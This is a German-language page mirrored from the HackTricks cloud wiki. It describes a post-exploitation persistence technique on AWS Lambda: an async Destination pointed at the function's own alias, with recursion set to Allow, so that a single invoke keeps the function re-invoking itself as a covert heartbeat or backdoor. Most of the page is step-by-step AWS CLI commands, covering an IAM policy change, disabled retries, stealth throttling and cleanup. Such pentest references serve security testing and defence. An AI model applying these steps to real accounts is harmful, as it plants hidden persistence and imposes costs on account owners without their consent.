mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 22:20:33 -08:00
4.9 KiB
4.9 KiB
AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
Missbrauche Lambda asynchronous Destinations zusammen mit der Recursion-Konfiguration, um eine Funktion kontinuierlich ohne externen Scheduler (kein EventBridge, cron, etc.) sich selbst erneut aufzurufen. Standardmäßig beendet Lambda rekursive Loops, aber das Setzen der Recursion-Konfiguration auf Allow aktiviert sie wieder. Destinations liefern serverseitig bei async invokes, sodass ein einzelner Seed-Invoke einen unauffälligen, codefreien Heartbeat/Backdoor-Kanal erzeugt. Optional mit reserved concurrency drosseln, um Lärm niedrig zu halten.
Notes
- Lambda erlaubt nicht, die Funktion direkt als eigene Destination zu konfigurieren. Verwende stattdessen einen function alias als Destination und erlaube der execution role, diesen Alias aufzurufen.
- Mindestberechtigungen: Fähigkeit, die event invoke config und recursion config der Ziel-Funktion zu lesen/aktualisieren, eine Version zu veröffentlichen und einen Alias zu verwalten sowie die Policy der execution role der Funktion zu aktualisieren, um lambda:InvokeFunction auf dem Alias zu erlauben.
Anforderungen
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=
Schritte
- Hole die ARN der Funktion und die aktuelle Recursion-Einstellung
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
- Veröffentliche eine Version und erstelle/aktualisiere ein Alias (als Ziel für sich selbst verwendet)
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
- Erlaube der Ausführungsrolle der Funktion, das Alias aufzurufen (erforderlich für Lambda Destinations→Lambda)
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
- Konfiguriere das async destination zum Alias (self via alias) und deaktiviere retries
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
- Erlaube rekursive Schleifen
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
- Einen einzelnen asynchronen Invoke auslösen
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
- Beobachte kontinuierliche Aufrufe (Beispiele)
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
- Optionale unauffällige Drosselung
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
Bereinigung
Unterbreche die loop und entferne die persistence.
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
Auswirkungen
- Ein einzelner async invoke bewirkt, dass Lambda sich kontinuierlich erneut aufruft, ohne externen Scheduler, und ermöglicht verdeckte persistence/heartbeat. Reserved concurrency kann den Lärm auf eine einzige warm execution begrenzen.